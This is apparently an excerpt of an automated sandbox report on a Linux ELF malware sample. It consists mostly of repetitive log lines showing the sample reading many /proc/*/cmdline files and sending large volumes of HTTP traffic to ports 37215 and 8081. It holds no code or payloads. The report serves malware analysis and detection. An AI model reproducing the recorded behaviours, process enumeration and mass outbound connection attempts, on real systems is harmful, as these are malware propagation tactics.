Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/faBNhIKHq4.elf (PID: 6225)	File opened: /proc/1494/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45724 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54846 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39450 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57388 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46898 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41670 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37146 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44752 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39708 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58218 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47030 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50856 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42124 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42998 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49602 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43378 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44222 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33258 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34088 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60610 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54558 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58006 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33716 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43542 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45728 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47820 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43298 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53926 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32776 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45522 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45024 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43064 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57126 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40644 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40754 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33230 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55174 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60962 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45668 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43394 -> 8081
